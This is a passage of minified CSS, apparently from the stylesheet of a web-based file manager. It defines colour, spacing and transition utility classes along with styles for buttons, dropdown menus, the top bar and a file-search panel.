!important;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}.frame-fullscreen{position:fixed;z-index:99999999;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.content-box .ace_cjk{width:1em !important;}.content-box .ace_static_highlight{font-size:1.15em;}.aui-buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialog-change-max,.dialog-change-max .aui-main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui-title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;box-sizing:content-box;}.btn:focus{outline:none;}.btn.btn-default .font-icon{color:#999;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}.btn.btn-active{background:#63acff !important;border-color:#4fa1ff !important;border-bottom-color:#449cff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#8cc2ff', endColorstr='#63acff');background-image:-webkit-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-moz-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-o-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-ms-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);-pie-background:linear-gradient(to to bottom,#8cc2ff 0,#63acff 100%);}.btn.btn-active:hover,.btn.btn-active:active{background:#3a96ff !important;border-color:#268bff !important;border-bottom-color:#1c86ff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#63acff', endColorstr='#3a96ff');background-image:-webkit-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-moz-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-o-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-ms-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:linear-gradient(to bottom,#63acff 0,#3a96ff 100%);-pie-background:linear-gradient(to to bottom,#63acff 0,#3a96ff 100%);}.btn-group.disabled{opacity:0.6;filter:alpha(opacity=60);}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;margin-top:0;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.pull-left:after{right:auto;left:10px;}.dropdown-menu.pull-left:before{right:auto;left:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.dropdown-menu .divider{margin:0.3em 0;}body .context-menu-list .context-menu-item.hover{background:#63acff;}body .aui-outer{*border:1px solid #7dbaff;border:1px solid #7dbaff \0/IE9;border:1px solid #7dbaff;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;top:0;background:#4267b2;position:absolute;z-index:auto;}.topbar .content{padding:0px;line-height:40px;height:39px;word-break:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar-menu{display:block;text-decoration:none;color:#fff;border:1px solid #5074be;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar-menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar-menu.title:hover{background:none;}.topbar .content .topbar-menu .icon{width:25px;height:25px;margin-right:5px;padding:0;margin-top:-4px;font-size:13px;line-height:25px;text-align:center;background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar-menu,.topbar .content .topbar-menu:hover,.topbar .content .topbar-menu.this{background:#5074be;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top-left.collapse{display:block;height:auto !important;}.topbar .content .top-left{overflow:hidden;height:40px;width:70%;}.topbar .content .top-right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top-right .menu-group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top-right .topbar-menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top-right .topbar-menu i{padding-right:3px;}.topbar .content .top-right .btn{color:#fff;}.topbar .content .top-right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top-right ul a:hover,.topbar .content .top-right ul a.this{margin-right:0px;}.topbar .content .top-right ul a.this{background:#63acff;color:#fff;}.topbar .content .top-right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top-right ul.dropdown-menu{margin-top:-1px;}.topbar .content .top-right ul.dropdown-menu.topbar-language{width:470px;padding:10px 5px;}.topbar .content .top-right ul.dropdown-menu.topbar-language li{width:115px;float:left;margin:0 1px 1px 0;}.topbar .content .top-right ul.dropdown-menu.topbar-language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top-right ul.dropdown-menu.topbar-language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share-title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share-title-info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share-info{color:#fff;float:left;font-size:1em;}.topbar .content .share-info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top-right div.share-info-user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top-right div.share-info-user .btn-download,.topbar .content .top-right div.share-info-user .btn.button-my-share{padding:4px 20px;margin-left:5px;}.topbar .content .top-right div.share-info-user .dropdown-toggle{height:16px;}.topbar ul.dropdown-menu.topbar-submenu{right:auto;left:auto;margin-left:-1px;margin-top:-1px;padding:20px 0 10px 20px;width:380px;}.topbar ul.dropdown-menu.topbar-submenu li{float:left;display:block;margin:0 10px 10px 0;width:85px;height:95px;}.topbar ul.dropdown-menu.topbar-submenu li a{border-radius:4px;display:block;height:100%;padding:0;text-align:center;}.topbar ul.dropdown-menu.topbar-submenu li a:hover,.topbar ul.dropdown-menu.topbar-submenu li a:active,.topbar ul.dropdown-menu.topbar-submenu li a.this,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover{background:#34a5ff;color:#fff;}.topbar ul.dropdown-menu.topbar-submenu li a:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:hover i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.icon,.topbar ul.dropdown-menu.topbar-submenu li a:active i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.icon,.topbar ul.dropdown-menu.topbar-submenu li a.this:hover i.font-icon{background:#f5faff;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon,.topbar ul.dropdown-menu.topbar-submenu li a img,.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{width:64px;height:64px;line-height:64px;padding:0;margin-top:5px;opacity:1;display:inline-block;border-radius:10px;}.topbar ul.dropdown-menu.topbar-submenu li a .x-item-file{margin-bottom:-5px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon{font-size:36px;background:#def;color:#2196F3;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words{font-size:20px;}.topbar ul.dropdown-menu.topbar-submenu li a i.icon.words em,.topbar ul.dropdown-menu.topbar-submenu li a i.font-icon.words em{width:45px;height:45px;overflow:hidden;font-style:normal;display:inline-block;white-space:pre-wrap;}.topbar ul.dropdown-menu.topbar-submenu li a span{display:block;font-size:13px;padding-top:5px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;}.common-footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common-footer .copyright-bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common-footer .copyright-bottom:hover{color:#f60;border-bottom:none;}.desktop-widget{z-index:10 !important;}.do-search-box{color:#888;}.do-search-box .search-header{padding:10px;padding-bottom:0px;}.do-search-box .search-header input[type='checkbox']{padding-left:0px;}.do-search-box .search-header label{font-size:1em;}.do-search-box .search-header .btn-right{margin:0px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;position:absolute !important;}.do-search-box .search-header .s_br{margin-bottom:8px;line-height:25px;}.do-search-box .search-header #search-value,.do-search-box .search-header #search-path,.do-search-box .search-header #search-ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do-search-box .search-header #search-value:focus,.do-search-box .search-header #search-path:focus,.do-search-box .search-header #search-ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do-search-box .search-header #search-value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do-search-box #search-is-case{margin-left:10px;}.do-search-box .search-desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do-search-box .search-result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do-search-box .search-result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do-search-box .search-result .file-item .file-info:hover{background:#eee;}.do-search-box .search-result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do-search-box .search-result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do-search-box .search-result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do-search-box .search-result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do-search-box .search-result .file-item .file-info .file-icon img{width:100%;height:100%;}.do-search-box .search-result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do-search-box .search-result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do-search-box .search-result .file-item .file-info .goto:hover,.do-search-box .search-result .file-item .file-info:hover .goto:hover{background:#fbbc00;color:#fff;}.do-search-box .search-result .file-item .file-info:hover .goto{display:block;background:#e6e6e6;}.do-search-box .search-result .file-item 